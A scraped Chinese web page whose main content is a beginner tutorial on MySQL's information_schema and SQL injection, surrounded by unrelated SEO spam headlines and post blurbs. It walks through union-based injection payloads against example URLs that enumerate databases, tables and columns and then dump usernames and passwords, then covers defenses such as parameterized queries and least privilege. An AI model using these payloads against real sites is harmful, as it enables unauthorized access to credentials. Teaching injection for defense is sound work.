dw网站建设教程视频北京网站建设联系兴田德润

张小明 2026/1/9 15:55:32
dw网站建设教程视频,北京网站建设联系兴田德润,塘沽集团网站建设,广东省农业农村厅顾幸伟信息安全小白指南#xff1a;MySQL中的information_schema数据库与SQL注入防护 一、什么是information_schema#xff1f; 想象一下#xff0c;你有一个巨大的图书馆#xff0c;里面有很多书架、书籍和书页。information_schema就是这个图书馆的目录系统MySQL中的information_schema数据库与SQL注入防护一、什么是information_schema想象一下你有一个巨大的图书馆里面有很多书架、书籍和书页。information_schema就是这个图书馆的目录系统它告诉你整个图书馆里有哪些书架数据库、有哪些书表、书里有哪些章节列。关键点information_schema不是一张表而是一个系统数据库MySQL内置的它存储了所有数据库的元数据关于数据的数据它是MySQL 5.0版本才引入的它只读不能修改其中的数据二、information_schema中的关键表1. SCHEMATA表 - 数据库目录这个表告诉你图书馆里有哪些书架有哪些数据库关键字段SCHEMA_NAME数据库名命令SELECTSCHEMA_NAMEFROMinformation_schema.SCHEMATA;详细解释SELECT选择要查询的字段SCHEMA_NAME要查询的字段名FROM information_schema.SCHEMATA从information_schema数据库的SCHEMATA表中查询效果返回所有数据库名称例如test、users、blog2. TABLES表 - 表目录这个表告诉你每个书架上有哪些书每个数据库有哪些表关键字段TABLE_SCHEMA表所属的数据库名TABLE_NAME表名TABLE_TYPE表类型如BASE TABLE表示普通表VIEW表示视图命令SELECTTABLE_NAMEFROMinformation_schema.TABLESWHERETABLE_SCHEMAtest;详细解释WHERE TABLE_SCHEMA test只查询test数据库中的表TABLE_SCHEMA数据库名字段test要查询的数据库名效果返回test数据库中的所有表名例如users、products、comments3. COLUMNS表 - 列目录这个表告诉你每本书里有哪些章节每张表有哪些列关键字段TABLE_SCHEMA表所属的数据库名TABLE_NAME表名COLUMN_NAME列名DATA_TYPE列的数据类型如varchar、int命令SELECTCOLUMN_NAMEFROMinformation_schema.COLUMNSWHERETABLE_SCHEMAtestANDTABLE_NAMEusers;详细解释WHERE TABLE_SCHEMA test AND TABLE_NAME users只查询test数据库中users表的列COLUMN_NAME要查询的列名字段效果返回users表中的所有列名例如id、username、password、email三、在SQL注入中如何利用information_schema1. 联合查询注入Union-Based场景当你有一个SQL注入点如id1可以尝试通过UNION查询获取信息命令http://example.com/page.php?id1 UNION SELECT 1, SCHEMA_NAME, 3 FROM information_schema.SCHEMATA;详细解释id1原始查询条件UNION SELECT将两个查询结果合并1, SCHEMA_NAME, 3第一个查询需要3个字段这里用1和3填充FROM information_schema.SCHEMATA从SCHEMATA表获取数据库名效果在页面上显示所有数据库名2. 获取特定数据库的表名命令http://example.com/page.php?id1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA test;详细解释WHERE TABLE_SCHEMA test只查询test数据库的表TABLE_NAME要查询的表名字段效果在页面上显示test数据库中的所有表名3. 获取特定表的列名命令http://example.com/page.php?id1 UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA test AND TABLE_NAME users;详细解释WHERE TABLE_SCHEMA test AND TABLE_NAME users只查询test数据库中users表的列COLUMN_NAME要查询的列名字段效果在页面上显示users表中的所有列名4. 获取表中的数据命令http://example.com/page.php?id1 UNION SELECT 1, username, password FROM test.users;详细解释FROM test.users从test数据库的users表中查询username, password要查询的列效果在页面上显示users表中的用户名和密码四、SQL注入的实战案例假设有一个网站存在SQL注入漏洞URL是http://example.com/vulnerable.php?id1步骤1获取所有数据库名http://example.com/vulnerable.php?id1 UNION SELECT 1, SCHEMA_NAME, 3 FROM information_schema.SCHEMATA;结果test,users,blog步骤2获取test数据库的表名http://example.com/vulnerable.php?id1 UNION SELECT 1, TABLE_NAME, 3 FROM information_schema.TABLES WHERE TABLE_SCHEMA test;结果users,products,comments步骤3获取users表的列名http://example.com/vulnerable.php?id1 UNION SELECT 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA test AND TABLE_NAME users;结果id,username,password,email步骤4获取users表的数据http://example.com/vulnerable.php?id1 UNION SELECT 1, username, password FROM test.users;结果admin,password123,john,john123…五、如何防护SQL注入1. 使用参数化查询最有效方法不安全的写法$id$_GET[id];$querySELECT * FROM users WHERE id $id;安全的写法$id$_GET[id];$stmt$pdo-prepare(SELECT * FROM users WHERE id :id);$stmt-bindParam(:id,$id,PDO::PARAM_INT);$stmt-execute();为什么安全参数化查询将数据和SQL命令分开处理防止攻击者注入恶意SQL2. 限制数据库用户权限最佳实践为Web应用创建专用数据库用户仅授予该用户所需的最小权限例如GRANT SELECT, INSERT ON database.* TO webuserlocalhost;为什么有效即使发生SQL注入攻击者也只能执行有限的操作3. 输入验证和过滤示例$id$_GET[id];if(!is_numeric($id)){die(Invalid ID);}为什么有效确保输入是数字防止SQL注入4. 使用Web应用防火墙WAFWAF可以检测和阻止常见的SQL注入模式例如ModSecurity5. 定期更新和打补丁保持MySQL和Web应用框架更新修复已知的安全漏洞六、总结information_schema是什么MySQL内置的系统数据库存储所有数据库、表、列的元数据是SQL注入的黄金钥匙SQL注入利用通过联合查询、报错注入等方式获取数据库结构最终获取敏感数据如何防护使用参数化查询最有效限制数据库用户权限输入验证和过滤使用Web应用防火墙定期更新和打补丁安全小贴士作为开发者永远不要相信用户输入保持最小权限原则定期进行安全审计记住SQL注入是Web安全中最古老也最常见的漏洞之一但通过正确的防护措施完全可以避免。希望这个解释对你理解information_schema和SQL注入防护有帮助如果你还有任何疑问随时问我哦~
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

做优化排名会不会影响网站速度天津圣辉友联网站建设

PHP 程序员的 MSP(最小可存活问题,Minimum Survivable Problem) 是将模糊焦虑、技术债、职业危机转化为可执行、可验证、可迭代的最小行动单元的核心方法论。 MSP ≠ 微任务,而是“2 小时内可验证、结果二元、直指生存问题”的精准…

张小明 2026/1/6 9:32:15 网站建设

晋城网站制作公司怎么选网页设计如何换行

RDP打印机重定向终极方案:远程办公打印难题快速解决 【免费下载链接】rdpwrap RDP Wrapper Library 项目地址: https://gitcode.com/gh_mirrors/rd/rdpwrap 远程办公时代,你是否也遇到过这样的困境?💻 在连接到公司服务器处…

张小明 2026/1/6 9:31:43 网站建设

英文网站建设方案详细方案网页游戏开服表时间表

用AI简化AI:从重复劳动中解放开发者 在大模型技术飞速发展的今天,一个矛盾日益凸显:模型能力越来越强,但使用门槛却并未随之降低。即便是经验丰富的工程师,面对从环境配置、依赖安装到分布式训练、量化部署的完整链条时…

张小明 2026/1/9 12:44:00 网站建设

app开发公司历程概述济南好的seo

在金融市场的喧嚣中,我们常常感到迷失。每天面对海量的K线数据,传统的技术分析工具显得力不从心,而复杂的机器学习模型又让非技术人员望而却步。直到我们发现,市场其实有自己的语言——一种由价格波动、成交量变化构成的复杂语法体…

张小明 2026/1/9 2:00:03 网站建设

网站做的app有哪些个人网站设计论文参考文献

在快递物流行业摸爬滚打10年,我见过形形色色的工作难题,其中最让我头疼的,莫过于从成百上千个单号里筛选未揽收的单号。相信有过类似经历的同行都懂这种煎熬:每天要处理大量订单,手工逐个核对单号状态,眼睛…

张小明 2026/1/6 9:29:01 网站建设

济南互联网网站建设价格上海网站建设电

一、awk基本概念1.1 什么是awkawk是一种强大的文本分析工具,用于对文本文件进行逐行处理。它支持模式匹配、数据提取、计算和格式化输出等功能。1.2 基本语法支持下面3种写法awk pattern {action} input_file awk -f script.awk input_file script.awk input_file …

张小明 2026/1/6 9:28:29 网站建设